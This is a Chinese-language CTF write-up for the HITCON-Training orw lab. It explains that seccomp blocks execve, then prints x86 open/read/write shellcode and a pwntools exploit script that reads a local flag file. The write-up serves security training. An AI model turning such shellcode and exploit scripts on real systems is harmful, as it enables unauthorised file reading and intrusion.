HITCON-Training-master lab2 wp
2018-05-09 本文已影响14人
zs0zrc
查看了下防护机制
image.png发现它没开启nx,所以可以向内存中写入shellcode执行
简单跑了一下程序,发现输出了一句话:give me you shellcode
ida反编译:
代码逻辑也很简单,你输入一段shellcode,然后去执行它
我随便去网上找了一段shellcode,输入后发现不行,说明它不是单纯的让我们输入shellcode
查看了一下orw_seccomp()函数
image.png里面有个prctl()函数,查了一下它的作用:
prctl()是用来控制进程的系统调用
在这里它限制了进程使用某些系统调用 ,所以我们不可以通过execve的shellcode来获取flag
这里我们通过 open(),read(),write()三个函数的系统调用来获取flag,这三个函数的调用参数可以在syscalls上查到
open() :eax->0x5 ;ebx->(file_name_string);ecx->(flags 访问权限) ;edx->(mode如果创建新文件,则包含表示UNIX权限的整数值)
read(3,file,0x30): eax->0x3;ebx->(fd 文件句柄 0x3) ;ecx->(files_name_string) ; edx->(count 读取长度)
write(1,file,0x30):eax->0x4;ebx->(fd 文件句柄 0x1) ;ecx->(files_name_string) ; edx->(count 输出长度)
汇编代码:(intel风格)
xor ecx,ecx
mov eax,0x5
push ecx
push 0x67616c66 (flag的十六进制形式,因为是小端法存储所以要倒过来)
mov ebx,esp
xor edx,edx
int 0x80
mov eax,0x3
mov ecx,ebx
mov ebx,0x3
mov dl,0x30
int 0x80
mov eax,0x4
mov bl,0x1
int 0x80
exp:
#!/usr/bin/env python
# -*-: coding: UTF-8 -*-
from pwn import*
p = process('./orw.bin')
shellcode = '''
xor ecx,ecx
mov eax,0x5
push ecx
push 0x67616c66
mov ebx,esp
xor edx,edx
int 0x80
mov eax,0x3
mov ecx,ebx
mov ebx,0x3
mov dl,0x30
int 0x80
mov eax,0x4
mov bl,0x1
int 0x80
'''
payload = asm(shellcode)
p.recvuntil(":")
p.send(payload)
p.interactive()